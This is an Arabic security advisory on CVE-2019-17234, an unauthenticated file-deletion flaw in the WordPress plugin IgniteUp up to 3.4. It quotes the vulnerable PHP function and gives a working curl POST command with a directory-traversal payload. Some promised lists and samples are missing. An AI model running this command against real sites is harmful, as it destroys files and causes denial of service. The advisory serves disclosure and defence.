
مكوّن WordPress الإضافي IgniteUp < 3.4.1 يسمح للمستخدمين غير المصادَق عليهم بحذف الملفات بشكل تعسفي على خادم الويب، مما قد يسبب حرمانًا من الخدمة (DoS).
إضافة Wordpress IgniteUp الإصدار 3.4 وما دونه تسمح للمستخدمين غير المصادق عليهم عن بُعد بحذف أي ملف بشكل تعسفي على خادم الويب المستهدف مما قد يسبب هجوم حجب الخدمة (Denial of Service).
تم إبلاغ فريق wordpress.org بالثغرة في 20 سبتمبر 2019 وتم إصدار نسخة جديدة من الإضافة 3.4.1 في 08 نوفمبر 2019.[3]
IgniteUp هي إضافة ووردبريس شائعة للقيام بإعداد وإدارة بسيطة لصفحات الهبوط على الموقع لإعلام المستخدمين بأن الموقع قادم قريبًا، أو في وضع الصيانة، أو قيد الإنشاء.
تأتي الإضافة بشكل افتراضي مع 5 قوالب مجانية: believe,cleaner,glass,launcher,offline.
أسماء القوالب موضحة لأن معاملًا صحيحًا [template-name] مطلوب لتنفيذ طلب صالح إلى خادم الويب لاستغلال الثغرة.
[تحذير]
مثال الأمر التالي قد يكون كافيًا لكسر موقع ووردبريس الخاص بك، وفي هذه الحالة حذف الملفات الأساسية لإضافة IgniteUp.
curl -d "action=admin_init&delete_template=[template-name]/../../" -X POST http(s)://[target-website]/wp-admin/admin-post.php
dummy example:
curl -d "action=admin_init&delete_template=believe/../../" -X POST http://localhost/wp-admin/admin-post.php
[ملاحظة] الأمر أعلاه ينفذ اجتياز الدليل داخل المسار النسبي للإضافة، ومع الأذونات الصحيحة (755 لأدلة خادم الويب و644 لملفات خادم الويب) ومالك الملف (www-data، مستخدم apache وما إلى ذلك) يكون سطح الهجوم محدودًا حتى الدليل الجذر للخادم (مثل /var/www/html).
الدالة المسؤولة عن إدخال هذه الثغرة موضحة أدناه، يمكن العثور على الملف المرجعي في wp-content/plugins/igniteup/includes/class-coming-soon-creator.php، وهو ملف، كما يوحي الاسم، يتعامل مع إنشاء قوالب مخصصة جديدة وحذف القوالب الافتراضية/المنشأة.
V3.4
add_action('admin_init', array($this, 'deleteTemplate'));
...
...
public function deleteTemplate()
{
if (!isset($_POST['delete_template']) || empty($_POST['delete_template']))
return;
$folder_name = $_POST['delete_template'];
$path = dirname(CSCS_FILE) . '/includes/templates/';
array_map('unlink', glob($path . $folder_name . '/*.*'));
rmdir($path . $folder_name);
unlink($path . '/' . $folder_name . '.php');
header('Location: ' . $_SERVER['REQUEST_URI']);
}
admin_init في السطر الأول هو خطاف إجراء (action hook) في ووردبريس. تشكل الخطافات[2] الأساس لتفاعل الإضافات والقوالب مع نواة ووردبريس، ولكنها أيضًا تُستخدم على نطاق واسع من قبل النواة نفسها.
لسوء الحظ، الدالة المرتبطة بخطاف الإجراء، deleteTemplate()، لا تحتوي على أي تحقق من المسؤول/المستخدم، وهي تعطي القارئ تلميحات كافية حول كيفية تنفيذ هذا الإجراء، فبالنظر إلى الكود من السهل ملاحظة معامل POST الخاص بـ PHP delete_template، وهذا بالإضافة إلى خطاف admin_init يُعد معرفة كافية لمحاولة تنفيذ طلب POST إلى خادم الويب عبر واجهة /wp-admin/admin-post.php كما هو موضح في فقرة كود الاستغلال.
[ملاحظة شخصية] عند تحليل السلوك المعتاد للإضافة من منظور مستخدم ووردبريس مسؤول، من الغريب جدًا العثور على هذه الدالة (أفترض أنها بقايا من إصدارات سابقة)، وذلك للأسباب التالية:
إليك عينة مما يحدث أثناء unlink عندما أحاول تدمير قالب (DirStroy).
اختبار admin-ajax.php مقارنة v3.4.1
[1] سجل التغييرات لـ v3.4.1 - https://it.wordpress.org/plugins/igniteup/#developers
[2] خطافات ووردبريس - https://developer.wordpress.org/plugins/hooks/
[3] مرجع CVE-2019-17234 في NIST - https://nvd.nist.gov/vuln/detail/CVE-2019-17234